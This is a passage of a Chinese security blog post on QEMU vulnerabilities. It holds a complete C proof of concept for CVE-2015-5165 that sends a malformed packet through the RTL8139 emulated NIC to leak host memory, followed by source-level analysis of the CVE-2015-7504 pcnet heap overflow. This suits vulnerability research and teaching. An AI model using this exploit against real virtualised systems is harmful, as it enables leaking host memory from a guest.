    IntrStatus = 0x3E,
    TxConfig = 0x40,
    RxConfig = 0x44,
    Timer = 0x48,        /* A general-purpose counter. */
    RxMissed = 0x4C,    /* 24 bits valid, write clears. */
    Cfg9346 = 0x50,
    Config0 = 0x51,
    Config1 = 0x52,
    FlashReg = 0x54,
    MediaStatus = 0x58,
    Config3 = 0x59,
    Config4 = 0x5A,        /* absent on RTL-8139A */
    HltClk = 0x5B,
    MultiIntr = 0x5C,
    PCIRevisionID = 0x5E,
    TxSummary = 0x60, /* TSAD register. Transmit Status of All Descriptors*/
    BasicModeCtrl = 0x62,
    BasicModeStatus = 0x64,
    NWayAdvert = 0x66,
    NWayLPAR = 0x68,
    NWayExpansion = 0x6A,
    /* Undocumented registers, but required for proper operation. */
    FIFOTMS = 0x70,        /* FIFO Control and test. */
    CSCR = 0x74,        /* Chip Status and Configuration Register. */
    PARA78 = 0x78,
    PARA7c = 0x7c,        /* Magic transceiver parameter register. */
    Config5 = 0xD8,        /* absent on RTL-8139A */
    /* C+ mode */
    TxPoll        = 0xD9,    /* Tell chip to check Tx descriptors for work */
    RxMaxSize    = 0xDA, /* Max size of an Rx packet (8169 only) */
    CpCmd        = 0xE0, /* C+ Command register (C+ mode only) */
    IntrMitigate    = 0xE2,    /* rx/tx interrupt mitigation control */
    RxRingAddrLO    = 0xE4, /* 64-bit start addr of Rx ring */
    RxRingAddrHI    = 0xE8, /* 64-bit start addr of Rx ring */
    TxThresh    = 0xEC, /* Early Tx threshold */
};

/* Bits in TxConfig. */
enum tx_config_bits {

    /* Interframe Gap Time. Only TxIFG96 doesn't violate IEEE 802.3 */
    TxIFGShift = 24,
    TxIFG84 = (0 << TxIFGShift),    /* 8.4us / 840ns (10 / 100Mbps) */
    TxIFG88 = (1 << TxIFGShift),    /* 8.8us / 880ns (10 / 100Mbps) */
    TxIFG92 = (2 << TxIFGShift),    /* 9.2us / 920ns (10 / 100Mbps) */
    TxIFG96 = (3 << TxIFGShift),    /* 9.6us / 960ns (10 / 100Mbps) */

    TxLoopBack = (1 << 18) | (1 << 17), /* enable loopback test mode */
    TxCRC = (1 << 16),    /* DISABLE appending CRC to end of Tx packets */
    TxClearAbt = (1 << 0),    /* Clear abort (WO) */
    TxDMAShift = 8,        /* DMA burst value (0-7) is shifted this many bits */
    TxRetryShift = 4,    /* TXRR value (0-15) is shifted this many bits */

    TxVersionMask = 0x7C800000, /* mask out version bits 30-26, 23 */
};

/* Bits in RxConfig. */
enum rx_mode_bits {
    AcceptErr = 0x20,
    AcceptRunt = 0x10,
    AcceptBroadcast = 0x08,
    AcceptMulticast = 0x04,
    AcceptMyPhys = 0x02,
    AcceptAllPhys = 0x01,
};

enum ChipCmdBits {
    CmdReset = 0x10,
    CmdRxEnb = 0x08,
    CmdTxEnb = 0x04,
    RxBufEmpty = 0x01,
};

/* C+ mode */
enum CplusCmdBits {
    CPlusRxVLAN   = 0x0040, /* enable receive VLAN detagging */
    CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
    CPlusRxEnb    = 0x0002,
    CPlusTxEnb    = 0x0001,
};

/*描述符的数据结构(地址保存在TxAddr0)*/
struct rtl8139_desc {
    uint32_t dw0;
    uint32_t dw1;
    uint32_t buf_lo;
    uint32_t buf_hi;
};

struct rtl8139_ring {
    struct rtl8139_desc *desc;
    void                *buffer;
};

#define RTL8139_BUFFER_SIZE 1514

/* w0 ownership flag */
#define CP_TX_OWN (1<<31)
/* w0 end of ring flag */
#define CP_TX_EOR (1<<30)
/* first segment of received packet flag */
#define CP_TX_FS (1<<29)
/* last segment of received packet flag */
#define CP_TX_LS (1<<28)
/* large send packet flag */
#define CP_TX_LGSEN (1<<27)
/* large send MSS mask, bits 16...25 */
#define CP_TC_LGSEN_MSS_MASK ((1 << 12) - 1)

/* IP checksum offload flag */
#define CP_TX_IPCS (1<<18)
/* UDP checksum offload flag */
#define CP_TX_UDPCS (1<<17)
/* TCP checksum offload flag */
#define CP_TX_TCPCS (1<<16)

/* w0 bits 0...15 : buffer size */
#define CP_TX_BUFFER_SIZE (1<<16)
#define CP_TX_BUFFER_SIZE_MASK (CP_TX_BUFFER_SIZE - 1)
/* w1 add tag flag */
#define CP_TX_TAGC (1<<17)
/* w1 bits 0...15 : VLAN tag (big endian) */
#define CP_TX_VLAN_TAG_MASK ((1<<16) - 1)
/* w2 low  32bit of Rx buffer ptr */
/* w3 high 32bit of Rx buffer ptr */

/* set after transmission */
/* FIFO underrun flag */
#define CP_TX_STATUS_UNF (1<<25)
/* transmit error summary flag, valid if set any of three below */
#define CP_TX_STATUS_TES (1<<23)
/* out-of-window collision flag */
#define CP_TX_STATUS_OWC (1<<22)
/* link failure flag */
#define CP_TX_STATUS_LNKF (1<<21)
/* excessive collisions flag */
#define CP_TX_STATUS_EXC (1<<20)

/* w0 ownership flag */
#define CP_RX_OWN (1<<31)
/* w0 end of ring flag */
#define CP_RX_EOR (1<<30)
/* w0 bits 0...12 : buffer size */
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)
/* w1 tag available flag */
#define CP_RX_TAVA (1<<16)
/* w1 bits 0...15 : VLAN tag */
#define CP_RX_VLAN_TAG_MASK ((1<<16) - 1)
/* w2 low  32bit of Rx buffer ptr */
/* w3 high 32bit of Rx buffer ptr */


/*配置网络帧内容*/
uint8_t rtl8139_packet[] = {
    //目标mac地址
    0x52, 0x54, 0x00, 0x12, 0x34, 0x57, 
    //源mac地址
    0x52, 0x54, 0x00, 0x12, 0x34, 0x57, 
    //代表IPV4
    0x08, 0x00, 

    //报头长度
    (0x04 << 4) | 0x05,
    //TOS
    0x00,
    //这里由于我们需要设置长度为19,从而实现溢出(触发漏洞)
    0x00, 0x13,
    //Identification
    0xde, 0xad,
    //Flags & Fragment Offset(必须为64的整数倍,所以直接设置为64)
    0x40, 0x00,
    //TTL通常为32,64,128这里直接设置为64
    0x40,           
    //Protocol为6代表TCP
    0x06,
    // Header checksum
    0xde, 0xad,
    //源IP:127.0.0.1
    0x7f, 0x00, 0x00, 0x01,
    //目的IP:127.0.0.1
    0x7f, 0x00, 0x00, 0x01,

    // IP Packet Payload 数据, 即 TCP 数据包
    //源端口
    0xde, 0xad,
    //目的端口
    0xbe, 0xef,
    //Sequence Number
    0x00, 0x00, 0x00, 0x00,
    //Acknowledgement Number
    0x00, 0x00, 0x00, 0x00,
    //报头长度,其中Header Length只占4位,后面的4位加上下面ACK中的2位都是保留位,保留位必须为0
    0x50,
    //从第3位开始是Control Flags,其中第4位代表ACK
    0x10,
    //Window Size
    0xde, 0xad,
    //TCP checksum
    0xde, 0xad,
    //Urgent Pointer
    0x00, 0x00
};

//使用pagemap通过虚拟地址计算物理地址
size_t virtuak_addr_to_physical_addr(void *addr){
    uint64_t data;

    int fd = open("/proc/self/pagemap",O_RDONLY);
    if(!fd){
        perror("open pagemap");
        return 0;
    }

    size_t pagesize = getpagesize();
    size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

    if(lseek(fd,offset,SEEK_SET) < 0){
        puts("lseek");
        close(fd);
        return 0;
    }

    if(read(fd,&data,8) != 8){
        puts("read");
        close(fd);
        return 0;
    }

    if(!(data & (((uint64_t)1 << 63)))){
        puts("page");
        close(fd);
        return 0;
    }

    size_t pageframenum = data & ((1ull << 55) - 1);
    size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

    close(fd);

    return phyaddr;
}

/*通过IO函数实现对PMIO端口的读写*/
void pmio_writeb(uint32_t data,uint32_t addr){
    outb(data,pmio_port+addr);
}

void pmio_writew(uint32_t data,uint32_t addr){
    outw(data,pmio_port+addr);
}

void pmio_writel(uint32_t data,uint32_t addr){
    outl(data,pmio_port+addr);
}

uint32_t pmio_readb(uint32_t addr){
    return (uint32_t)inb(addr);
}

uint32_t pmio_readw(uint32_t addr){
    return (uint32_t)inw(addr);
}

uint32_t pmio_readl(uint32_t addr){
    return (uint32_t)inl(addr);
}
/*初始化描述符*/
void rtl8139_desc_config_rx(struct rtl8139_ring* ring, struct rtl8139_desc* desc, size_t nb){
    size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
    for (size_t i = 0; i < nb; ++i) {
        memset(&desc[i], 0, sizeof(desc[i]));
        ring[i].desc = &desc[i];

        ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
        memset(ring[i].buffer, 0, buffer_size);

        ring[i].desc->dw0 |= CP_RX_OWN;
        ring[i].desc->dw0 |= buffer_size;
        ring[i].desc->buf_lo = (uint32_t)virtuak_addr_to_physical_addr(ring[i].buffer);
    }
    pmio_writel((uint32_t)virtuak_addr_to_physical_addr(desc), RxRingAddrLO);
    pmio_writel(0, RxRingAddrHI);
}

void rtl8139_desc_config_tx(struct rtl8139_desc* desc, void* buffer){
    memset(desc,0,sizeof(struct rtl8139_desc));
    desc->dw0 |= CP_TX_LS | CP_TX_OWN | CP_TX_EOR | CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN;
    desc->dw0 |= RTL8139_BUFFER_SIZE;
    desc->buf_lo = (uint32_t)virtuak_addr_to_physical_addr(buffer);
    pmio_writel((uint32_t)virtuak_addr_to_physical_addr(desc), TxAddr0);
    pmio_writel(0,TxAddr0 + 4);
}

void rtl8139_card_config(){
    pmio_writel(TxLoopBack, TxConfig);          //开启TxLoopBack,使网卡数据回环
    pmio_writel(AcceptMyPhys, RxConfig);
    pmio_writew(CPlusRxEnb | CPlusTxEnb, CpCmd);
    pmio_writeb(CmdRxEnb | CmdTxEnb, ChipCmd);
}
//将网络帧内容写给网卡
void rtl8139_packet_send(void* buffer, void* packet, size_t len) {
    if (len <= RTL8139_BUFFER_SIZE) 
    {
        memcpy(buffer, packet, len);
        pmio_writeb(1<<6,TxPoll);
    }
}
//打印本地网卡接收到的数据
void leak_data(uint8_t* ptr, size_t size) 
{
    for (size_t i = 0, j = 0; i < size; ++i, ++j) 
    {
        if (i % 16 == 0) 
        {
            j = 0;
            printf("\n0x%08x: ", (uint32_t)(ptr + i));
        }
        printf("%02x ", ptr[i]);
        if (j == 7) 
        {
            printf("- ");
        }
    }
    printf("\n");
}

int main(){
    size_t rtl8139_rx_nb = 44;
    struct rtl8139_ring *rtl8139_rx_ring;
    struct rtl8139_desc *rtl8139_rx_desc, *rtl8139_tx_desc;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        perror("open");
    }

  /*为描述符分配空间(这里使用aligned_alloc是为了起始地址对齐)*/
    rtl8139_rx_ring = (struct rtl8139_ring *)aligned_alloc(
        PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_ring));

    rtl8139_rx_desc = (struct rtl8139_desc *)aligned_alloc(
        PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_desc));

    rtl8139_tx_desc = (struct rtl8139_desc *)aligned_alloc(
        PAGE_SIZE, sizeof(struct rtl8139_desc));

    void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);

  //使用iopl打开IO读写权限
    iopl(3);
    //按照之前的分析配置参数
    rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
    rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
    rtl8139_card_config();
  //发送网络帧
    rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet, sizeof(rtl8139_packet));

    sleep(2);

    //读取网卡缓冲区内容,泄露内存信息
    for (size_t i = 0; i < rtl8139_rx_nb; ++i) 
    {
        leak_data((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
    }
}

 

CVE-2015-7504

cve-2015-7504漏洞存在于hw/net/pcnet.cpcnet_receive()函数中,漏洞出现在对于数据包的crc校验计算中。

pcnet网卡

网卡有16位(默认)和32位两种模式,这取决于DWIO(存储在网卡上的变量)的实际值,16位模式是网卡重启后的默认模式。网卡有两种内部寄存器:CSR(控制和状态寄存器)和BCR(总线控制寄存器)。两种寄存器都需要通过设置对应的我们要访问的RAP(寄存器地址端口)寄存器来实现对相应CSR或BCR寄存器的访问。

pcnet_receive函数

当size值等于s->buffer的大小时,最后会越界四个字节。

ssize_t pcnet_receive(NetClientState *nc, const uint8_t *buf, size_t size_)
{
    PCNetState *s = qemu_get_nic_opaque(nc);
    int size = size_;
        [...]
        if (!(CSR_CRST(s) & 0x8000)) {
                        [...]
        } else {
            uint8_t *src = s->buffer;  //存储网卡接收的数据
                         [...]
            } else if (s->looptest == PCNET_LOOPTEST_CRC ||
                       !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
                uint32_t fcs = ~0;
                uint8_t *p = src;

                while (p != &src[size])             //最大输入size长度的数据
                    CRC(fcs, *p++);        //    #define CRC(crc, ch)     (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff])
                *(uint32_t *)p = htonl(fcs);  //多写4字节数据,导致溢出
                size += 4;
            } else {
                                [...]
            }
                  [...]

            pcnet_rdte_poll(s);

        }
    }
    pcnet_poll(s);
    pcnet_update_irq(s); //调用qemu_set_irq
    return size_;
}

看一下PCNetState_st结构体。溢出s->buffer会覆盖到后面的qemu_irq irq变量

typedef struct PCNetState_st PCNetState;

struct PCNetState_st {
    NICState *nic;
    NICConf conf;
    QEMUTimer *poll_timer;
    int rap, isr, lnkst;
    uint32_t rdra, tdra;
    uint8_t prom[16];
    uint16_t csr[128];
    uint16_t bcr[32];
    int xmit_pos;
    uint64_t timer;
    MemoryRegion mmio;
    uint8_t buffer[4096];
    qemu_irq irq;
    void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
                         uint8_t *buf, int len, int do_bswap);
    void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
                          uint8_t *buf, int len, int do_bswap);
    void *dma_opaque;
    int tx_busy;
    int looptest;
};

找一下qemu_irq的定义(在irq.h中),是一个指向IRQState结构体的指针(4字节)。

// irq.h
typedef struct IRQState *qemu_irq;
// irq.c
struct IRQState {
    Object parent_obj;

    qemu_irq_handler handler;
    void *opaque;
    int n;
};

触发漏洞

追溯调用栈,pcnet_transmit函数在标志位BCR_SWSTYLE为1时会触发漏洞函数 pcnet_receive。

static void pcnet_transmit(PCNetState *s)
{
    hwaddr xmit_cxda = 0;
    int count = CSR_XMTRL(s)-1;
    int add_crc = 0;
    int bcnt;
    s->xmit_pos = -1;

        [...]

        /* if multi-tmd packet outsizes s->buffer then skip it silently.
           Note: this is not what real hw does */
        if (s->xmit_pos + bcnt > sizeof(s->buffer)) {
            s->xmit_pos = -1;
            goto txdone;
        }

              [...]

        if (CSR_LOOP(s)) {
            if (BCR_SWSTYLE(s) == 1) //检查标志位BCR_SWSTYLE
                add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
            s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
            pcnet_receive(qemu_get_queue(s->nic), s->buffer, s->xmit_pos); //调用触发漏洞的函数
            s->looptest = 0;
        } else {
               [...]
        }
                [...]
}

而pcnet_ioport_writew调用pcnet_csr_writew最终会调用pcnet_transmit。

void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
    PCNetState *s = opaque;
    pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
    printf("pcnet_ioport_writew addr=0x%08x val=0x%04x\n", addr, val);
#endif
    if (!BCR_DWIO(s)) {
        switch (addr & 0x0f) {
        case 0x00: /* RDP */
            pcnet_csr_writew(s, s->rap, val); //进入pcnet_csr_writew分支
            break;
        case 0x02:
            s->rap = val & 0x7f;
            break;
        case 0x06:
            pcnet_bcr_writew(s, s->rap, val);
            break;
        }
    }
    pcnet_update_irq(s);
}
=====================================================================
  static void pcnet_csr_writew(PCNetState *s, uint32_t rap, uint32_t new_value)
{
    uint16_t val = new_value;
#ifdef PCNET_DEBUG_CSR
    printf("pcnet_csr_writew rap=%d val=0x%04x\n", rap, val);
#endif
    switch (rap) {
    case 0:
        s->csr[0] &= ~(val & 0x7f00); /* Clear any interrupt flags */

        s->csr[0] = (s->csr[0] & ~0x0040) | (val & 0x0048);

        val = (val & 0x007f) | (s->csr[0] & 0x7f00);

        /* IFF STOP, STRT and INIT are set, clear STRT and INIT */
        if ((val&7) == 7)
          val &= ~3;

        if (!CSR_STOP(s) && (val & 4))
            pcnet_stop(s);

        if (!CSR_INIT(s) && (val & 1))
            pcnet_init(s);

        if (!CSR_STRT(s) && (val & 2))
            pcnet_start(s);

        if (CSR_TDMD(s))
            pcnet_transmit(s); //进入pcnet_transmit分支

        return;
    case 1:
    case 2:
    case 8:
    case 9:
    case 10:
    case 11:
    case 12:
    case 13:
    case 14:
    case 15:
    case 18: /* CRBAL */
    case 19: /* CRBAU */
    case 20: /* CXBAL */
    case 21: /* CXBAU */
    case 22: /* NRBAU */
    case 23: /* NRBAU */
    case 24:
    case 25:
    case 26:
    case 27:
    case 28:
    case 29:
    case 30:
    case 31:
    case 32:
    case 33:
    case 34:
    case 35:
    case 36:
    case 37:
    case 38:
    case 39:
    case 40: /* CRBC */
    case 41:
    case 42: /* CXBC */
    case 43:
    case 44:
    case 45:
    case 46: /* POLL */
    case 47: /* POLLINT */
    case 72:
    case 74:
    case 76: /* RCVRL */
    case 78: /* XMTRL */
    case 112:
       if (CSR_STOP(s) || CSR_SPND(s))
           break;
       return;
    case 3:
        break;
    case 4:
        s->csr[4] &= ~(val & 0x026a);
        val &= ~0x026a; val |= s->csr[4] & 0x026a;
        break;
    case 5:
        s->csr[5] &= ~(val & 0x0a90);
        val &= ~0x0a90; val |= s->csr[5] & 0x0a90;
        break;
    case 16:
        pcnet_csr_writew(s,1,val);
        return;
    case 17:
        pcnet_csr_writew(s,2,val);
        return;
    case 58:
        pcnet_bcr_writew(s,BCR_SWS,val);
        break;
    default:
        return;
    }
    s->csr[rap] = val;
}

 

参考

qemu-pwn-cve-2015-5165信息泄露漏洞分析

CVE-2015-5165漏洞复现———QENU信息泄露漏洞

在qemu中增加pci设备并用linux驱动验证

QEMU如何虚拟PCI设备

qemu-pwn-cve-2015-7504堆溢出漏洞分析

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多